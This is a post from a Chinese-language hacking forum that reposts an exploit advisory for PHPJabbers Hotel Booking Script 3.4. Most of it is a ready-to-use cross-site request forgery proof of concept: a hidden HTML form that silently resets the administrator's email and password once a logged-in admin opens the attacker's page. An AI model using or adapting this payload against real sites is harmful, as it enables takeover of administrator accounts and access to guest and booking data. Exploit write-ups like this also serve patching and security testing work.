跳转到帖子

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Hotel Booking Script 3.4 - Cross-Site Request Forgery (Change Admin Password)

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
# Exploit Title: Admin Account take over Via CSRF
# Google Dork: N/A
# Date: 17-12-2018
# Exploit Author: Sainadh Jamalpur
# Vendor Homepage: https://www.phpjabbers.com/hotel-booking-system/
# Software Link: https://demo.phpjabbers.com/1545033057_422/index.php?controller=pjAdmin&action=pjActionIndex
# Version: 3.4
# Tested on: Windows x64/ Kali linux x64
# CVE : N/A

************************Description:**********************

The online hotel reservation system is built in PHP and uses MySQL to
store data. The script provides a powerful room booking and reservation
management functionality and allows you to install a clear
call-to-action tool on your hotel website which will impact conversions
and increase bookings. Our room booking system is highly customizable
and compatible with various website types.

*************************Vulnerability Description:****************
 An attacker can take the admin account via sending the Malicious link
to the authenticated user then the Victim clicks on the malicious link
then the admin password is change

************************************
PoC**************************************


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://site.com/admin/index.php?controller=pjAdminUsers&action=pjActionUpdate"
method="POST">
      <input type="hidden" name="user&#95;update" value="1" />
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="email" value="admin&#64;admin&#46;com" />
      <input type="hidden" name="password" value="pass1234" />
      <input type="hidden" name="name" value="Administrator" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="status" value="T" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。